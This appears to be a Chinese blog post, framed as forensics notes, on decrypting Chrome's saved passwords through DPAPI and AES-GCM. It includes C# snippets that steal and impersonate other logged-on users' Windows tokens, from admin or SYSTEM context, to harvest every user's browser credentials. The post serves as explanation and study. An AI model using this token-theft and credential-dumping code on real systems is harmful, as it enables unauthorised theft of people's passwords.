Chrome浏览器取证分析

做个笔记,记录下最近学习的有关Web浏览器取证的知识,其中包括研究如何解密Chrome浏览器保存在本地的加密登录信息,以及当前进程上下文为SYSTEM或者管理员的情况下如何切换Windows权限,还有遇到多用户在线的情况下如何解密多个用户的密码。

Chrome浏览器登录信息存放在哪里?

Google Chrome的配置文件存放在%LocalAppData%目录下。例如,具有两个Google Chrome账号配置文件的windows用户admin将有一个目录,其中包含每个配置文件的登录数据,每个数据都包含自己的一组存储凭据:

C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default (第一个配置文件的名称)
C:\Users\admin\AppData\Local\Google\Chrome\User Data\Profile 2 (后续的配置文件以迭代数字方式命名)

其中Login Data是SQLite 3数据库文件,里面存放了用户名,网址,加密密码等信息。

登录信息是如何加密保存的?

Login Data 文件主要用于存储用户希望在某些网站上可以自动填充的用户名和密码,研究登录信息只需要查看logins表,其中origin_url是登录网址,username_value列是用户名,password_value列是被加密的用户密码,使用Navicat查看Login Data数据库如下所示:

password_value加密的内容。此值使用Microsoft的数据保护API(DPAPI)进行加密,加密方法在80版本后发生部分变化。

从Windows 2000开始,Microsoft随操作系统一起提供了一种特殊的数据保护接口,称为Data Protection Application Programming Interface(DPAPI)。其分别提供了加密函数CryptProtectData 与解密函数 CryptUnprotectData 以用作敏感信息的加密解密。

其用作范围包括且不限于:

  • IE、Chrome的登录表单自动完成

  • Powershell加密函数

  • Outlook, Windows Mail, Windows Mail, 等邮箱客户端的用户密码。

  • FTP管理账户密码

  • 共享资源文件夹的访问密码

  • 无线网络帐户密钥和密码

  • 远程桌面身份凭证

  • EFS

  • EAP/TLS 和 802.1x的身份凭证

  • Credential Manager中的数据

  • 以及各种调用了CryptProtectData函数加密数据的第三方应用,如Skype, Windows Rights Management Services, Windows Media, MSN messenger, Google Talk等。

  • etc

由于功能需求,Dpapi采用的加密类型为对称加密,所以只要找到了密钥,就能解开物理存储的加密信息了。

关于DPAPI的详细原理和介绍看这篇文章里的链接:

https://www.4hou.com/posts/AQzP

chrome version 80(80.0.3987.163) 版本前

chrome80以前的版本是直接可以通过DPAPI中的解密函数 CryptUnprotectData来进行解密的。

chrome version 80 (80.0.3987.163)版本后

利用主密钥使用AES-GCM加密算法加密密码存放Login Data数据库,然后用DPAPI的加密函数CryptProtectData加密主密钥存放在Local State文件。其中Local State文件存放在如下地址(假设windows用户为admin),本质是个json文件,其中一个值os_crypt下的encrypted_key是解密需要用的被加密后的密钥。

C:\Users\admin\AppData\Local\Google\Chrome\User Data\Local State

如何解密登录密码?

主要说明下 80 (80.0.3987.163)版本后的解密方法,从C:\Users\admin\AppData\Local\Google\Chrome\UserData\Local State这个Json中读取一个值os_crypt下的encrypted_key,然后取base64解码后解密密钥去除前5个字符再通过对其dpapi解密出这个值保存为key,前五个字符为DPAPI,并且截取15位去除前3位字符保存为NONCE,最终使用AES-gcm算法解密Login Data读取的password_value,开头三个字节为v10说明是chrome 是80版本及以后版本。

简单介绍下AES-gcm算法原理:

CTR(Counter Mode,计数器模式)

图中可以看出,加密过程使用了密钥、Nonce(类似IV)、Counter(一个从0到n的编号),与上文提及的CBC模式相比,CTR最大的优势是可以并行执行,因为所有的块只依赖于Nonce与Counter,并不会依赖于前一个密文块,适合高速传输需求。但CTR不能提供密文消息完整性校验的功能(未被篡改),所以我们需要引入另一个概念:MAC(消息认证码)

MAC(Message Authentication Code, 消息认证码)

是一种用来确认消息完整性并进行认证的技术。通过输入消息与共享密钥,可以生成一段固定长度的数据(MAC值)

收发双方需要提前共享一个密钥,发送者使用密钥生成消息的MAC值,并随消息一起发送,接收者通过共享密钥计算收到消息的MAC值,与随附的MAC值做比较,从而判断消息是否被改过(完整性),对于篡改者,由于没有密钥(认证),也就无法对篡改后的消息计算MAC值。

GMAC (Galois message authentication code mode, 伽罗华消息认证码)

GMAC就是利用伽罗华域(Galois Field,GF,有限域)乘法运算来计算消息的MAC值。

GCM(Galois/Counter Mode)

GCM是认证加密模式中的一种,它结合了上述两者的特点(GCM中的G就是指GMAC,C就是指CTR),能同时确保数据的保密性、完整性及真实性,另外,它还可以提供附加消息的完整性校验,加密流程如下图:

就像CTR模式下一样,先对块进行顺序编号,然后将该块编号与初始向量(IV)组合,并使用密钥k,对输入做AES加密,然后,将加密的结果与明文进行XOR运算来生成密文。像CTR模式下一样,应该对每次加密使用不同的IV。对于附加消息,会使用密钥H(由密钥K得出),运行GMAC,将结果与密文进行XOR运算,从而生成可用于验证数据完整性的身份验证标签。最后,密文接收者会收到一条完整的消息,包含密文、IV(计数器CTR的初始值)、身份验证标签(MAC值)。

解密流程

  1. 获取local state和Login Data文件位置

  2. 获取local state中加密的key(base64编码)

  3. 数据库语句提取Login Data sqllite文件的password_value

  4. DPAPI解密加密key

  5. ase-gcm解密password_value

如何处理多Windows用户的问题?

参考incognito代码,如果是单个Windows用户,程序运行在当前用户的上下文中使用CryptUnprotectData很简单,但如果是多个Windows用户并且不能在要解密的用户上下文执行程序的情况下会比较复杂。使用CryptUnprotectData的前提是当前用户已登录或者lsass中存放有用户登录凭证的哈希(需要经过Windows用户身份认证),那如果lsass没有存放要解密的用户凭证哈希也就意味着没法解密数据,所以能解密数据的最理想情况是目标用户处于在线状态,虽然可能不在目标用户上下文也不知道用户的明文密码,但是我们可以通过令牌模拟/盗窃的方式来模拟这个在线用户去解密数据,普通用户的权限无法完成这些操作,所以前提是至少拥有管理员权限。

令牌模拟/盗窃的思路主要来源于这个项目:

https://github.com/layerfsd/incognito2

创建一个新的访问令牌,该令牌使用来复制现有令牌DuplicateToken(Ex)。然后可以将该令牌用于ImpersonateLoggedOnUser允许调用线程模拟已登录用户的安全上下文,或者SetThreadToken用于将模拟令牌分配给线程。

public static bool ChangeTokenByName(string username)
{//Process[] processes = Process.GetProcessesByName("lsass");List<IntPtr> lstHandles = new List<IntPtr>();lstHandles = Win32Processes.GetHandlesByName("Token", username);foreach (IntPtr Handle in lstHandles){Win32API.ImpersonateLoggedOnUser(Handle);if (username == Environment.UserName){return true;}}return false;
}

如果已知目标用户的明文密码,那么可以直接使用现成项目解密:

https://github.com/GhostPack/SharpDPAPI

当用户为高权限时如何处理?

判断SeImpersonatePrivilege是否enable,一个具有SeImpersonatePrivilege权限的服务进程,可以模拟任何一个连接它的客户端的token,这就是所谓的Impersonation模型。先判断当前运行程序用户是否开启了SeImpersonatePrivilege,如果开启说明是高权限,可以令牌模拟/盗窃,并开始寻找可模拟的用户令牌。

if (Win32Processes.IsPrivilegeEnabled("SeImpersonatePrivilege") && Environment.UserName != "SYSTEM")
{List<AddressInfo> addrInfo = new List<AddressInfo>();addrInfo = FindDirectories();foreach (AddressInfo ai in addrInfo){string login_data_tempFile = CreateRandomTempFileAddr(ai.username);File.Copy(ai.login_data_path, login_data_tempFile, true);Console.WriteLine("[+] Copy {0} to {1}", ai.login_data_path, login_data_tempFile);if (ai.username == Environment.UserName){ChromeHack(ai.login_data_path, ai.chrome_state_file, login_data_tempFile);continue;}else{ChangeTokenByName(ai.username);Console.WriteLine("--- Chrome Credential (User: {0}) ---", Environment.UserName);ChromeHack(ai.login_data_path, ai.chrome_state_file, login_data_tempFile);Win32API.RevertToSelf();Console.WriteLine("[+] Recvtoself");}}
}

遍历所有进程中的令牌,寻找除了当前上下文用户的其他用户的令牌:

public static List<IntPtr> GetHandles(Process process, string IN_strObjectTypeName, string IN_strObjectName)
{uint nStatus;int nHandleInfoSize = 256 * 1000;IntPtr ipHandlePointer = Marshal.AllocHGlobal(nHandleInfoSize);int nLength = 0;IntPtr ipHandle = IntPtr.Zero;Win32API.SYSTEM_HANDLE_INFORMATION shHandle;List<IntPtr> lstHandles = new List<IntPtr>();while ((nStatus = Win32API.NtQuerySystemInformation(SystemProcessInformation, ipHandlePointer, nHandleInfoSize, ref nLength)) == STATUS_INFO_LENGTH_MISMATCH){nHandleInfoSize = nLength;Marshal.FreeHGlobal(ipHandlePointer);ipHandlePointer = Marshal.AllocHGlobal(nLength);}if (nStatus == Win32API.STATUS_SUCCESS){int offset = 0;IntPtr tempptr = IntPtr.Zero;while (true){tempptr = new IntPtr(ipHandlePointer.ToInt64() + offset);Win32API.SystemProcessInformation pProcessInfo = (Win32API.SystemProcessInformation)Marshal.PtrToStructure(tempptr, typeof(Win32API.SystemProcessInformation));offset += pProcessInfo.NextEntryOffset;if (pProcessInfo.InheritedFromProcessId == process.Id){IntPtr m_ipProcessHwnd = Win32API.OpenProcess(Win32API.ProcessAccessFlags.All, false, pProcessInfo.InheritedFromProcessId);for (long lIndex = 0; lIndex < pProcessInfo.HandleCount; lIndex++){IntPtr handle = IntPtr.Zero;if (Win32API.DuplicateHandle(m_ipProcessHwnd, (ushort)((lIndex + 1) * 8), Win32API.GetCurrentProcess(), out handle, 0, false, Win32API.DUPLICATE_SAME_ACCESS) != false){string strObjectTypeName = "";string strObjectName = "";strObjectTypeName = GetObjectInfo(handle, ObjectInformationClass.ObjectTypeInformation);strObjectName = GetObjectName(handle);if (strObjectTypeName == IN_strObjectTypeName && strObjectName.Contains(IN_strObjectName)){Console.WriteLine(strObjectName);lstHandles.Add(handle);}}}break;}if (pProcessInfo.NextEntryOffset == 0)break;}Marshal.FreeHGlobal(ipHandlePointer);}return lstHandles;}

其中SYSTEM权限和普通管理员权限的处理方法有所区别,如果是SYSTEM直接去遍历当前的explorer进程,如果当前有多个用户同时处于登录状态,那么就会有多个用户的explorer进程,不用遍历进程去搜索用户令牌,直接复制explorer进程的令牌即可:

//SYSTEM
else if (Environment.UserName == "SYSTEM")
{List<AddressInfo> addrInfo = new List<AddressInfo>();addrInfo = FindDirectories();foreach (Process p in Process.GetProcesses()){int pid = p.Id;string processname = p.ProcessName;string process_of_user = GetProcessUserName(pid);//Recvtoselfif (processname == "explorer"){Console.WriteLine("[*] [{0}] [{1}] [{2}]", pid, processname, process_of_user);IntPtr hProcess = Win32API.OpenProcess(Win32API.ProcessAccessFlags.QueryInformation, true, pid);if (hProcess == IntPtr.Zero) continue;IntPtr hToken = new IntPtr();if (!Win32API.OpenProcessToken(hProcess, Win32API.TOKEN_IMPERSONATE | Win32API.TOKEN_DUPLICATE, out hToken)) continue;IntPtr DuplicatedToken = new IntPtr();if (!Win32API.DuplicateToken(hToken, 2, ref DuplicatedToken)) continue;if (!Win32API.SetThreadToken(IntPtr.Zero, DuplicatedToken)) continue;foreach (AddressInfo ai in addrInfo){if (ai.username == Environment.UserName){string login_data_tempFile = CreateRandomTempFileAddr(ai.username);File.Copy(ai.login_data_path, login_data_tempFile, true);Console.WriteLine("[+] Copy {0} to {1}", ai.login_data_path, login_data_tempFile);Console.WriteLine("--- Chrome Credential (User: {0}) ---", Environment.UserName);ChromeHack(ai.login_data_path, ai.chrome_state_file, login_data_tempFile);}}//IE_history();//回退权限Win32API.RevertToSelf();Console.WriteLine("[*] Recvtoself");}}
}

模拟成功解密后需要RevertToSelf()回退到原来的权限,然后继续执行。

如果是普通用户权限,直接解密当前用户的Chrome浏览器密码:

//User
else
{List<AddressInfo> addrInfo = new List<AddressInfo>();addrInfo = FindDirectories();foreach (AddressInfo ai in addrInfo){if (ai.username == Environment.UserName){string login_data_tempFile = CreateRandomTempFileAddr(ai.username);File.Copy(ai.login_data_path, login_data_tempFile, true);Console.WriteLine("[+] Copy {0} to {1}", ai.login_data_path, login_data_tempFile);ChromeHack(ai.login_data_path, ai.chrome_state_file, login_data_tempFile);}}
}
Console.WriteLine("[+] Current user {0}", Environment.UserName);

程序流程图

参考文章和项目

https://apr4h.github.io/2019-12-20-Harvesting-Browser-Credentials/

https://www.anquanke.com/post/id/220991

https://www.4hou.com/posts/AQzP

https://www.freebuf.com/sectool/232490.html

https://xz.aliyun.com/t/2000

https://xz.aliyun.com/t/6508#toc-4

https://www.anquanke.com/post/id/187895

https://github.com/layerfsd/incognito2

https://www.passcape.com/index.php?section=docsys&cmd=details&id=28

https://github.com/QAX-A-Team/BrowserGhost

https://github.com/layerfsd/incognito2

https://github.com/GhostPack/SharpDPAPI

https://github.com/djhohnstein/SharpChromium

Chrome浏览器取证分析相关推荐

  1. 网络爬虫系列(一):chrome抓包分析

    网络爬虫系列(一):chrom抓包分析 1.测试环境 2.网页分析 (1) 网页源代码分析 (2) 网络抓包分析 1.测试环境 浏览器:chrome浏览器 网页分析工具 :开发者工具 2.网页分析 ( ...

  2. 谷歌chrome浏览器的源码分析(六)

    消息的流通过程,是一个不同类相互交流的过程,如果不了解这个过程,根本就不知道这些类是怎么样相互协作的.由于上一次说到ViewHostMsg_RequestResource消息已经发送出来,它的处理过徎 ...

  3. 谷歌chrome浏览器源码分析

    谷歌chrome浏览器源码分析 2016-01-21 15:24 55人阅读 评论(0) 收藏 举报  分类: C++(52)  转自CSDN 前言: 1.之所以整理此文,有俩个目的:一是为了供自己学 ...

  4. 利用Chrome浏览器开发者工具分析视频源地址下载到本地

    Chrome(谷歌浏览器)是现在的主流浏览器,它的开发者工具也非常强大,它不仅可以帮助前端程序员快速分析别人的网页布局,也可以利用它来找到网页里的视频源地址,并且配合其他下载软件把视频下载到本地进行观 ...

  5. 谷歌chrome浏览器的源码分析(一)

    随着网络技术的发展,越来越多应用都已经离不开网络,特别像人类大脑一样的知识库的搜索引擎,更加是离不开功能强大的云计算.不过,即便云计算非常强大,但它还不能直接地把结果呈现给用户,这样就需要一个客户端来 ...

  6. 作为Web开发人员,我为什么喜欢Google Chrome浏览器

    在Google Chrome浏览器出来之前,我一直使用FireFox,因为FireFox的插件非常丰富,更因为FireFox有强大的Firebug,对于前端开发可谓神器. 在Chrome出来的时候,我 ...

  7. 安全技术大系iOS取证分析

    <安全技术大系iOS取证分析> 基本信息 作者: (美)莫里西(Morrissey,S.) [作译者介绍] 译者: 郭永健 韩晟 钟琳 出版社:电子工业出版社 ISBN:978712117 ...

  8. python谷歌网页爬虫_python爬虫入门01:教你在 Chrome 浏览器轻松抓包

    通过 python爬虫入门:什么是爬虫,怎么玩爬虫? 我们知道了什么是爬虫 也知道了爬虫的具体流程 那么在我们要对某个网站进行爬取的时候 要对其数据进行分析 就要知道应该怎么请求 就要知道获取的数据是 ...

  9. SocketLog-微信调试、API调试和AJAX的调试的工具,能将日志通过WebSocket输出到Chrome浏览器的console中

    说明 SocketLog适合Ajax调试和API调试, 举一个常见的场景,用SocketLog来做微信调试, 我们在做微信API开发的时候,如果API有bug,微信只提示"改公众账号暂时无法 ...

  10. 浏览器渲染机制面试_面试官不讲码德,问我Chrome浏览器的渲染原理(6000字长文)...

    前言 对于HTML,css和JavaScript是如何变成页面的,这个问题你了解过吗?浏览器究竟在背后都做了些什么事情呢?让我们去了解浏览器的渲染原理,是通往更深层次的开发必不可少的事情,能让我们更深 ...

最新文章

  1. 李佳琦一晚卖了100亿,有位“硬汉”在背后默默发力
  2. Python多进程编程-进程间共享 对象
  3. Qt 解决MySQL 中文乱码问题
  4. 延迟反馈带来的样本偏差如何处理
  5. protobuf在java应用中通过反射动态创建对象
  6. 卡尔曼_卡尔曼滤波最完整公式推导
  7. java skip_Java LongStream skip()用法及代码示例
  8. 给异地服务器远程ssh重装CentOS系统
  9. KitKat带来短信应用的改变
  10. 项目版本号的命名规范
  11. HttpClient下载图片
  12. 多元统计分析基于r课后答案_多元统计分析课后练习答案与解析
  13. WPS桌面右键新建菜单缺少新建文档入口
  14. Clouda开发随笔之block标签
  15. python 马赛克还原_「马赛克画」利用Python生成马赛克画,简单两步去除马赛克! - seo实验室...
  16. 200行代码实现N子棋(以五子棋为例)
  17. 刚才玩了下Steganos Internet Anonym,IP伪装器,每一秒自动换一IP
  18. 希尔顿集团大中华区第450家酒店开业;Gap在山东青岛开新店 | 美通企业日报
  19. 大脑构造图与功能解析_大脑的结构与功能
  20. Tomcat使用startup.bat启动闪退的原因

热门文章

  1. 电商收付通系列⑤,商户进件之二级商户进件申请
  2. 不知道音频格式转换软件哪个好?打工人都在用的几款你别错过
  3. 5个免费设计素材网站,设计师必备
  4. 自从知道这4个带货方法后,在也不怕抖音带货没流量
  5. 世界各个国家及其国家代码
  6. 三星识别文字_Samsung OCR Software三星光学字符识别软件下载_Samsung OCR Software三星光学字符识别软件官方下载-太平洋下载中心...
  7. nagios一些安装注意
  8. c语言-输出菱形图案
  9. Charles 实现电脑抓取手机包(解决手机不能上网问题)
  10. 苹果开发者账号绑定设备已满